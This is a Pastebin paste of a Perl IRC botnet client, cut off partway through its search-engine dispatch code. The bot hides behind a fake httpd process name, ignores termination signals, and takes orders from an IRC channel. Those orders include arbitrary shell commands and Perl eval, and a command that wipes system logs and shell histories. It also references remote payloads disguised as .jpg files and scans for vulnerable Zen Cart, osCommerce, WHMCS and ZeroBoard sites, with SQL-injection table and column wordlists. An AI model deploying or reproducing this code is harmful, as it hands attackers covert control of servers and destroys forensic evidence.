Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use HTTP::Request;
- use HTTP::Request::Common;
- use HTTP::Request::Common qw(POST);
- use LWP::Simple;
- use LWP 5.64;
- use LWP::UserAgent;
- use Socket;
- use IO::Socket;
- use IO::Socket::INET;
- use IO::Select;
- use MIME::Base64;
- use URI;
- my $datetime = localtime;
- my $fakeproc = "/usr/sbin/httpd";
- my $ircserver = "irc.blackunix.us";
- my $ircport = "6667";
- my $nickname = "[FH]";
- my $ident = "iDF";
- my $channel = "#komxzer";
- my $admin = "komxzer";
- my $fullname = "cPanel";
- my $cplogo = "15[2ZEN15]";
- my $zerologo = "15[2ZBOARD15]";
- my $zenlogo = "15[2ZEN15]";
- my $loglogo = "15[2HAPUS4LOG15]";
- my $oscologo = "15[2osCommerce15]";
- my $sqllogo = "15[2SQL15]";
- my $cpcmd = '!zen';
- my $zerocmd = '!zero';
- my $whmcmd = '!whm';
- my $oscocmd = '!osco';
- my $sqlcmd = '!sql';
- my $injector = "http://kobicom.com/cgi-bin/cok.jpg";
- my $bot = "http://kobicom.com/cgi-bin/bot.jpg";
- #my @uagents = ("Mozilla/5.0 (X11;U;Linux i686 (x86_64);en-US;rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6");
- #my $uagent = $uagents[rand(scalar(@uagents))];
- my $uagent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6';
- my @tabele = ('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
- 'name','names','nombre','nombres','usuarios','member','members','admin_table','miembro','miembros','membername','admins','administrator',
- 'administrators','passwd','password','passwords','pass','Pass','tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
- 'member_password','mods','mod','moderators','moderator','user_email','user_emails','user_mail','user_mails','mail','emails','email','address',
- 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
- 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
- 'sistema_usuario','sistema_password','contrasena','auth','key','senha','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
- 'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
- 'associated','accnt','customers','customer','membres','administrateur','utilisateur','tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
- 'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
- my @kolumny = ('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
- 'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
- 'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
- 'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
- 'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
- 'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
- $SIG{'INT'} = 'IGNORE';
- $SIG{'HUP'} = 'IGNORE';
- $SIG{'TERM'} = 'IGNORE';
- $SIG{'CHLD'} = 'IGNORE';
- $SIG{'PS'} = 'IGNORE';
- chdir("/");
- chop (my $priper =`wget `);
- $ircserver = "$ARGV[0]" if $ARGV[0];
- $0 = "$fakeproc"."\0" x 16;;
- my $pid = fork;
- exit if $pid;
- die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
- our %irc_servers;
- our %DCC;
- my $dcc_sel = new IO::Select->new();
- $sel_client = IO::Select->new();
- sub sendraw {
- if ($#_ == '1') {
- my $socket = $_[0];
- print $socket "$_[1]\n";
- } else {
- print $IRC_cur_socket "$_[0]\n";
- }
- }
- sub connector {
- my $mynick = $_[0];
- my $ircserver_con = $_[1];
- my $ircport_con = $_[2];
- my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
- if (defined($IRC_socket)) {
- $IRC_cur_socket = $IRC_socket;
- $IRC_socket->autoflush(1);
- $sel_client->add($IRC_socket);
- $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
- $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
- nick("$mynick");
- my $versi = "rOziyExplore";
- sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
- sleep (1);}
- }
- sub parse {
- my $servarg = shift;
- if ($servarg =~ /^PING \:(.*)/) {
- sendraw("PONG :$1");
- }
- elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
- if (lc($1) eq lc($mynick)) {
- $mynick = $4;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- }
- }
- elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
- nick("$mynick".int rand(1));
- }
- elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
- $mynick = $2;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
- sendraw("MODE $mynick +Bx");
- sendraw("JOIN $channel");
- sleep(2);
- sendraw("PRIVMSG $admin : 3»9º3©9º7cPanel3©9º3«");
- }
- }
- my $line_temp;
- while( 1 ) {
- while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
- select(undef, undef, undef, 0.01);;
- delete($irc_servers{''}) if (defined($irc_servers{''}));
- my @ready = $sel_client->can_read(0);
- next unless(@ready);
- foreach $fh (@ready) {
- $IRC_cur_socket = $fh;
- $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
- $nread = sysread($fh, $ircmsg, 4096);
- if ($nread == 0) {
- $sel_client->remove($fh);
- $fh->close;
- delete($irc_servers{$fh});
- }
- @lines = split (/\n/, $ircmsg);
- $ircmsg =~ s/\r\n$//;
- if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
- my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
- my $engine ="google,gga,ggb,ggc,ggd,gge,ggf,gro,tawi,tawia,tawib,tawic,tawid,tawie,tawif,tawig,tawih,tawii,tawij,tawik,GoogleID,GooglePL,GoogleUK,GoogleBR,GoogleNET,GoogleORG,GoogleIT,GoogleCA,GoogleDE,GoogleES,GoogleUS,GoogleAU,GoogleRO,GoogleMY,GoogleALLDOM,Google2,GoogleGR,GooglePL,GoogleJP,GoogleDK,GoogleNO,GoogleFI,GoogleIT,GoogleCA,GoogleDE,GoogleES,GoogleHK,GoogleAU,GoogleRO,GoogleRU,GooGLeSI,GooGLePT,GooGLeMS,GooGLeAU,GooGLeJJ,GooGLeFR,YahOoCA,YahOoUK,YahOoDE,YahOoFR,YahOoES,YahOoIT,YahOoID,YahOoIN,YahOoAU,YahOoMX,YahOoTW,YahOoBR,YahOoAR,YahOoNL,YahOoDK,YahOoPH,YahOoCL,YahOoRU,YahOoCH,YahOoCO,YahOoFI,YahOoRO,YahOoVE,YahOoAT,YahOoPL,YahOoKR,YahOoNZ,YahOoGR,YahOoPE,YahOo7,rediff,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,bing,altavista,ask,uol,clusty,gutser,google2,exalead,virgilio,webde,aol,sapo,duck,yause,baidu,kipot,gibla,yahoo,hotbot,lycos,lygo,black,onet,sizuka,walla,demos,rose,seznam,tiscali,naver,live,rakuten,biglobe,nova,najdi,AsK1,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK,goo,uksubmit,excite,amidalla,buscar,sogou,interia,snz,yandex,joeant,terra,youdao,amfibi,bigclique,dancefloor,latina,goojp,yahoohk,setooz,aubing,yahoo7,gooes,neti,doogate,webwombat,euroseek,alltheweb,mamma,yahoo2,kvasir,netsprint,saol,lookle,optuszoo,search66,arrama,excitejp,clix,searchch,cada,bypass";
- if ($path eq $mynick) {
- if ($msg =~ /^PING (.*)/) {
- sendraw("NOTICE $nick :PING $1");
- }
- if ($msg =~ /^VERSION/) {
- sendraw("NOTICE $nick :VERSION mIRC rOziyExplore");
- }
- if ($msg =~ /^TIME/) {
- sendraw("NOTICE $nick :TIME ".$datetime."");
- }
- if (&isAdmin($nick) && $msg eq "!die") {
- &shell("$path","kill -9 $$");
- }
- if (&isAdmin($nick) && $msg eq "!kill") {
- &shell("$path","killall -9 perl");
- }
- if (&isAdmin($nick) && $msg eq "!reset") {
- sendraw("QUIT :Pindah server...");
- }
- if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
- sendraw("JOIN #".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
- sendraw("PART #".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
- sendraw("NICK ".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!pid/) {
- sendraw($IRC_cur_socket, "PRIVMSG $nick :14Fake Process/PID : $fakeproc - $$");
- }
- if (&isAdmin($nick) && $msg !~ /^!/) {
- &shell("$nick","$msg");
- }
- }
- else {
- if (&isAdmin($nick) && $msg eq "!die") {
- &shell("$path","kill -9 $$");
- }
- if (&isAdmin($nick) && $msg eq "!kill") {
- &shell("$path","killall -9 perl");
- }
- if (&isAdmin($nick) && $msg eq "!reset") {
- sendraw("QUIT :Pindah server...");
- }
- if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
- sendraw("JOIN #".$1);
- }
- if (&isAdmin($nick) && $msg eq "!part") {
- sendraw("PART $path");
- }
- if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
- sendraw("PART #".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
- &shell("$path","$1");
- }
- if (&isAdmin($nick) && $msg =~ /^!eval (.*)/) {
- eval "$1";
- }
- ##################################################################### HELP COMMAND
- if ($msg=~ /^!help/) {
- my $helplogo = "0(14Help0)";
- &msg("$path","$helplogo 3 ########################14[HELP]3############################");
- &msg("$path","$helplogo 4 ( 2$cpcmd 4[7dork4]4 )");
- &msg("$path","$helplogo 4 ( 2$zerocmd 4[7bug4] 4[7dork4]4 )");
- &msg("$path","$helplogo 4 ( 2$whmcmd 4[7dork4]4 )");
- &msg("$path","$helplogo 4 ( 2!sql 4[7Bug4]44[7dork4]4 )");
- &msg("$path","$helplogo 4 ( !log #untuk hapus 4log )");
- &msg("$path","$helplogo 3 ######################14[END HELP]3#########################");
- }
- if ($msg=~ /^!zenid/) {
- if (&isFound($zenid,"INSERT%20INTO")) {
- &msg("$path","15,1(8±5zencart15)3 zencart is [ open ]");
- } else {
- &msg("$path","15,1(8±5zencart15)15,5 zencart is [ locked ]");
- }
- }
- if (&isAdmin($nick) && $msg =~ /^!pid/) {
- ¬ice("$nick","14Fake Process/PID : 14$fakeproc - $$");
- }
- if ($msg =~ /^!log/) {
- &msg("$path","$loglogo 3 Permintaan sedang di proses...");
- &msg("$path","$loglogo 4 Mohon di tunggu...!");
- system 'rm -rf /var/log/lastlog';
- system 'rm -rf /var/log/wtmp';
- system 'rm -rf /etc/wtmp';
- system 'rm -rf /var/run/utmp';
- system 'rm -rf /etc/utmp';
- system 'rm -rf /var/log';
- system 'rm -rf /var/logs';
- system 'rm -rf /var/adm';
- system 'rm -rf /var/apache/log';
- system 'rm -rf /var/apache/logs';
- system 'rm -rf /usr/local/apache/log';
- system 'rm -rf /usr/local/apache/logs';
- system 'rm -rf /root/.bash_history';
- system 'rm -rf /root/.ksh_history';
- &msg("$path","$loglogo 13 Semua 4default log13 dan berkas 4bash_history 13terhapus.");
- sleep 1;
- &msg("$path","$loglogo 13 Sekarang sisa berkas mesin4 LOG.");
- system 'find / -name *.bash_history -exec rm -rf {} \;';
- system 'find / -name *.bash_logout -exec rm -rf {} \;';
- system 'find / -name "log*" -exec rm -rf {} \;';
- system 'find / -name *.log -exec rm -rf {} \;';
- sleep 1;
- &msg("$path","$loglogo 4 Selsai! Semua log dalam server sudah di hapus...!!!");
- }
- ##################################################################### ZEN SCAN
- if ($msg=~ /^$cpcmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
- &msg("$path","$cplogo 14Dork :2 $dork");
- &msg("$path","$cplogo 10Search Engine Loading ...!!");
- &scan_start($path,$bug,$dork,$engine,1);
- }
- exit;
- }
- }
- if ($msg=~ /^$cpcmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ("admin/record_company.php",$1);
- &scan_start($path,$bug,$dork,$engine,1);
- }
- exit;
- }
- }
- ##################################################################### ZeroBoard SCAN
- if ($msg=~ /^$zerocmd\s+(.+?)\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2);
- &msg("$path","$zerologo 14Dork :2 $dork");
- &msg("$path","$zerologo 14Bugz :2 $bug");
- &msg("$path","$zerologo 10Search Engine Loading ...!!");
- &scan_start($path,$bug,$dork,$engine,2);
- }
- exit;
- }
- }
- ##################################################################### OSCO SCAN
- if ($msg=~ /^$oscocmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ("admin/categories.php/login.php",$1);
- &msg("$path","$oscologo 14Dork :2 $dork");
- &msg("$path","$oscologo 10Search Engine Loading ...");
- &scan_start($path,$bug,$dork,$engine,6);
- }
- exit;
- }
- }
- ##################################################################### OSCO2 SCAN
- if ($msg=~ /^$oscocmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ("admin/file_manager.php/login.php",$1);
- &scan_start($path,$bug,$dork,$engine,12);
- }
- exit;
- }
- }
- ##################################################################### OSCO3 SCAN
- if ($msg=~ /^$oscocmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ("admin/banner_manager.php/login.php",$1);
- &msg("$path","$oscologo 14Dork :2 $dork");
- &msg("$path","$oscologo 10Search Engine Loading ...");
- &scan_start($path,$bug,$dork,$engine,11);
- }
- exit;
- }
- }
- ##################################################################### ZEN_V SCAN
- if ($msg=~ /^$cpcmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
- &msg("$path","$zenlogo 14Dork :2 $dork");
- &msg("$path","$zenlogo 10Search Engine Loading ...");
- &scan_start($path,$bug,$dork,$engine,3);
- }
- exit;
- }
- }
- if ($msg=~ /^$cpcmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ("admin/record_company.php",$1);
- &scan_start($path,$bug,$dork,$engine,3);
- }
- exit;
- }
- }
- ##################################################################### whm SCAN
- if ($msg=~ /^$whmcmd\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ("cart.php",$1);
- &msg("$path","whmlogo 3D14ork :4 $dork");
- &msg("$path","whmlogo 3B14ugz :4 $bug");
- &msg("$path","whmlogo 14Search Engine Loading ...");
- &scan_start($path,$bug,$dork,$engine,4);
- }
- exit;
- }
- }
- ##################################################################### SQL SCAN
- if ($msg=~ /^$sqlcmd\s+(.+?)\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2);
- &msg("$path","$sqllogo 12Dork :4 $dork");
- &msg("$path","$sqllogo 12Bugz :4 $bug");
- &msg("$path","$sqllogo 8Search Engine Loading ...");
- &scan_start($path,$bug,$dork,$engine,9);
- }
- exit;
- }
- }
- #####################################################################
- }
- }
- for(my $c=0; $c<= $#lines; $c++) {
- $line = $lines[$c];
- $line = $line_temp.$line if ($line_temp);
- $line_temp = '';
- $line =~ s/\r$//;
- unless ($c == $#lines) {
- &parse("$line");
- } else {
- if ($#lines == 0) {
- &parse("$line");
- } elsif ($lines[$c] =~ /\r$/) {
- &parse("$line");
- } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
- &parse("$line");
- } else {
- $line_temp = $line;
- }
- }
- }
- }
- }
- #########################################
- sub type () {
- my ($chan,$bug,$dork,$engine,$type) = @_;
- if ($type == 1){&cp($chan,$bug,$dork,$engine);}
- elsif ($type == 2){&zero($chan,$bug,$dork,$engine);}
- elsif ($type == 3){&zen_V($chan,$bug,$dork,$engine);}
- elsif ($type == 4){&whm($chan,$bug,$dork,$engine);}
- elsif ($type == 6){&osco($chan,$bug,$dork,$engine);}
- elsif ($type == 9){&sql($chan,$bug,$dork,$engine);}
- elsif ($type == 11){&osco3($chan,$bug,$dork,$engine);}
- elsif ($type == 12){&osco2($chan,$bug,$dork,$engine);}
- }
- ########################
- sub scan_start() {
- my ($chan,$bug,$dork,$engine,$type) = @_;
- if ($engine =~ /google/i) {
- if (my $pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"google",$type);
- } exit; }
- }
- if ($engine =~ /google2/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"google2",$type);
- } exit; }
- }
- if ($engine =~ /gga/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"gga",$type);
- } exit; }
- }
- if ($engine =~ /ggb/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggb",$type);
- } exit; }
- }
- if ($engine =~ /ggc/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggc",$type);
- } exit; }
- }
- if ($engine =~ /ggd/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggd",$type);
- } exit; }
- }
- if ($engine =~ /gge/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"gge",$type);
- } exit; }
- }
- if ($engine =~ /ggf/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggf",$type);
- } exit; }
- }
- if ($engine =~ /gg/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"gg",$type);
- } exit; }
- }
- if ($engine =~ /gg2/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"gg2",$type);
- } exit; }
- }
- if ($engine =~ /galldom/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggALLDOM",$type);
- } exit; }
- }
- if ($engine =~ /gid/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggID",$type);
- } exit; }
- }
- if ($engine =~ /gpl/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggPL",$type);
- } exit; }
- }
- if ($engine =~ /guk/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggUK",$type);
- } exit; }
- }
- if ($engine =~ /gbr/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggBR",$type);
- } exit; }
- }
- if ($engine =~ /gnet/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggNET",$type);
- } exit; }
- }
- if ($engine =~ /gorg/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggORG",$type);
- } exit; }
- }
- if ($engine =~ /git/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggIT",$type);
- } exit; }
- }
- if ($engine =~ /gca/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggCA",$type);
- } exit; }
- }
- if ($engine =~ /gde/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggDE",$type);
- } exit; }
- }
- if ($engine =~ /gus/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggUS",$type);
- } exit; }
- }
- if ($engine =~ /gau/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ggAU",$type);
- } exit; }
- }
- if ($engine =~ /gro/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"gro",$type);
- } exit; }
- }
- if ($engine =~ /tawi/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"tawi",$type);
- } exit; }
- }
- if ($engine =~ /tawia/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"tawia",$type);
- } exit; }
- }
- if ($engine =~ /tawib/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"tawib",$type);
- } exit; }
- }
- if ($engine =~ /tawic/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"tawic",$type);
- } exit; }
- }
- if ($engine =~ /tawid/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"tawid",$type);
- } exit; }
- }
- if ($engine =~ /tawie/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"tawie",$type);
- } exit; }
- }
- if ($engine =~ /tawif/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"tawif",$type);
- } exit; }
- }
- if ($engine =~ /tawig/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"tawig",$type);
- } exit; }
- }
- if ($engine =~ /tawih/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"tawih",$type);
- } exit; }
- }
- if ($engine =~ /tawii/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"tawii",$type);
- } exit; }
- }
- if ($engine =~ /tawij/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"tawij",$type);
- } exit; }
- }
- if ($engine =~ /tawik/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"tawik",$type);
- } exit; }
- }
- if ($engine =~ /bing/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"bing",$type);
- } exit; }
- }
- if ($engine =~ /altavista/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"altavista",$type);
- } exit; }
- }
- if ($engine =~ /ask/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ask",$type);
- } exit; }
- }
- if ($engine =~ /ask1/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsK1",$type);
- } exit; }
- }
- if ($engine =~ /AsKCA/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKCA",$type);
- } exit; }
- }
- if ($engine =~ /askde/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKDE",$type);
- } exit; }
- }
- if ($engine =~ /askit/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKIT",$type);
- } exit; }
- }
- if ($engine =~ /askfr/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKFR",$type);
- } exit; }
- }
- if ($engine =~ /askes/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKES",$type);
- } exit; }
- }
- if ($engine =~ /askru/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKRU",$type);
- } exit; }
- }
- if ($engine =~ /asknl/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKNL",$type);
- } exit; }
- }
- if ($engine =~ /askuk/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKUK",$type);
- } exit; }
- }
- if ($engine =~ /askbr/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKBR",$type);
- } exit; }
- }
- if ($engine =~ /askpl/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKPL",$type);
- } exit; }
- }
- if ($engine =~ /askau/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKAU",$type);
- } exit; }
- }
- if ($engine =~ /askat/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKAT",$type);
- } exit; }
- }
- if ($engine =~ /askjp/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKJP",$type);
- } exit; }
- }
- if ($engine =~ /askse/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKSE",$type);
- } exit; }
- }
- if ($engine =~ /askmx/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKMX",$type);
- } exit; }
- }
- if ($engine =~ /askno/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKNO",$type);
- } exit; }
- }
- if ($engine =~ /askdk/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsKDK",$type);
- } exit; }
- }
- if ($engine =~ /uol/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"uol",$type);
- } exit; }
- }
- if ($engine =~ /yahoo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"yahoo",$type);
- } exit; }
- }
- if ($engine =~ /yahoo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOo",$type);
- } exit; }
- }
- if ($engine =~ /yahooca/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoCA",$type);
- } exit; }
- }
- if ($engine =~ /yahoouk/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoUK",$type);
- } exit; }
- }
- if ($engine =~ /yahoode/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoDE",$type);
- } exit; }
- }
- if ($engine =~ /yahoofr/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoFR",$type);
- } exit; }
- }
- if ($engine =~ /yahooes/i) {
